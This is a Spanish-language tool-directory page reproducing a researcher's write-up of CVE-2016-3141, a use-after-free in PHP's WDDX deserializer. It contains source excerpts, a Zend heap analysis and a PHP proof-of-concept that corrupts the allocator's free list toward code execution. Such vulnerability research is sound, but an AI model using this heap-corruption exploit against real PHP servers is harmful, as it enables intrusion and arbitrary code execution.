Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2016-3141 — CVE-2016-3141 | Kitploit
Herramientas/GitHubGitHub/peternguyen93/cve-2016-3141
Forensia de MemoriaAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubpeternguyen93/cve-2016-3141

CVE-2016-3141

CVE-2016-3141

Ver Repositorio
154hace 10 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2016-3141

1. Detalle de la vulnerabilidad.

La vulnerabilidad de use-after-free en wddx.c en la extensión WDDX de PHP anterior a 5.5.33 y 5.6.x anterior a 5.6.19 permite a atacantes remotos causar una denegación de servicio (corrupción de memoria y caída de la aplicación) o posiblemente tener otro impacto no especificado al provocar una llamada a wddx_deserialize en datos XML que contienen un elemento var manipulado.

2. Resumen del bug.

Este es un bug de User After Free, que ocurre cuando wddx intenta procesar datos XML. Eche un vistazo a este código en la función php_wddx_deserialize_ex. Cuando wddx_deserialize($xml) procesa algunos datos XML, php llamará a esta función y luego establecerá algunas funciones para manejar las etiquetas y los datos XML.

root@kitploit:~
	XML_SetUserData(parser, &stack);
	XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
	XML_SetCharacterDataHandler(parser, php_wddx_process_data);

La función php_wddx_push_element crea una entrada para una etiqueta, como puede ver en este fragmento. Por ejemplo, cuando ingresa <string>Hello World</string>, si se alcanza la etiqueta de apertura se llamará a php_wddx_push_element para crear una entrada st_entry que almacena información de una etiqueta. Echemos un vistazo a parte del código del fragmento a continuación.

root@kitploit:~
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
	
	----SNIP----
	else if (!strcmp(name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;
	
		ALLOC_ZVAL(ent.data);
		INIT_PZVAL(ent.data);
		Z_TYPE_P(ent.data) = IS_STRING;
		Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
		Z_STRLEN_P(ent.data) = 0;
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
	} 
	----SNIP----
}

SET_STACK_VARNAME es un procedimiento que se define a continuación. Este procedimiento simplemente comprueba stack->varname de una etiqueta; si no es NULL, clonará este stack->varname y luego lo liberará.

root@kitploit:~
#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\

El bug ocurre en php_wddx_pop_element. Cuando XML cierra una etiqueta var, liberará varname de esta etiqueta, y este puntero liberado todavía se almacena en stack->varname. Por ejemplo, si crea un var como <var name='UAF'></var>, php_wddx_push_element creará una estructura que almacena esta etiqueta var; luego, cuando cierra esta etiqueta, la libera pero se olvida de establecer stack->name = NULL o de decrementar stack->top. Después de eso, si crea otra etiqueta como <string>, la función SET_STACK_VARNAME reutilizará este puntero liberado.

root@kitploit:~
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	# ***SNIP***
	} else if (!strcmp(name, EL_VAR) && stack->varname) {
		efree(stack->varname);
	}
	# ***SNIP***
}

3. La explotación

Cuando vi este bug por primera vez, pensé "¿no puedo convertir este bug en ejecución de código?". Primero, tengo que entender cómo está implementado el heap de Zend; veamos la función _zend_mm_alloc_int en zend_alloc.c a continuación

root@kitploit:~
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		size_t bitmap;
		if (UNEXPECTED(true_size < size)) {
			goto out_of_memory;
		}
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
#if ZEND_MM_CACHE_STAT
			heap->cache_stat[index].count--;
			heap->cache_stat[index].hit++;
#endif
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
			ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
			HANDLE_UNBLOCK_INTERRUPTIONS();
			return ZEND_MM_DATA_OF(best_fit);
 		}

Si asignamos con malloc un chunk de tamaño pequeño (menos de 256 bytes), zend_alloc utilizará heap->cache, que es una lista de chunks libres que almacena muchas listas enlazadas de chunks libres pequeños; este heap->cache es como el fast_bin de malloc. Si de alguna manera podemos sobrescribir el puntero best_fit->prev_free_block con nuestra propia dirección, entonces zend_alloc asignará de nuevo y podremos usar esa dirección para escribir en algún lugar de la memoria.

Para hacer eso, crearé el siguiente XML de wddx:

root@kitploit:~
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
	<array>
		<binary>HERE</binary> # (1)
		<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
		<binary>REPLACE</binary> # (3)
		<var name='SUCK'></var> # (4)
		<boolean value='a'/>
		<boolean value='true'/>
	</array>
</wddxPacket>
EOF;

$binary_value = base64_encode(str_repeat("A",32));

$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);

$wddx = wddx_deserialize($xml); 

foreach($wddx as $k => $v){
	$k = "".str_repeat("C",6); (5)
	
	$t = (string)$v; (6)
	$g = (string)$v; (7)
}
  1. Crear 32 bytes (chunk_a) con la etiqueta binary porque esta etiqueta permite ingresar caracteres no imprimibles.
  2. Crear un nombre con el mismo tamaño que la primera etiqueta binary y luego hacer que este nombre sea liberado (chunk_b).
  3. Crear un chunk de relleno de 64 bytes (chunk_c).
  4. Crear un nombre de 8 bytes y luego liberarlo (chunk_d).
  5. Después de deserializar este $xml, hago un bucle foreach a través de este objeto; en el primer bucle tengo $k apuntando ahora a chunk_b que está liberado, y $v apuntando ahora a chunk_a; uso el operador concat_function para sobrescribir best_fit->prev_free_block con mis propios datos.
  6. Usar el casting de string de PHP, que llama a estrncpy, para crear un nuevo chunk (chunk_e) que ahora apunta a chunk_b y hacer que heap->cache[index] almacene mi propio valor.
  7. Bien, hago eso de nuevo: estrncpy($v,32) ($v=$binary_value); primero zend_alloc de nuevo y tenemos un crash $r12 = 0x4343434343. Si reemplazamos este valor con otra dirección, estrncpy llamará felizmente a memcpy(r12,v,size) y con eso podemos sobrescribir cualquier lugar que queramos.

Caída

Puede ver mi exploit completo aquí peter_code_execute.php (Probado en Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14).

Finalmente, he convertido este bug en ejecución de código con éxito. Resultado

4. Referencias

http://www.cvedetails.com/cve/CVE-2016-3141/.

https://bugs.php.net/bug.php?id=71587.

Descargar herramienta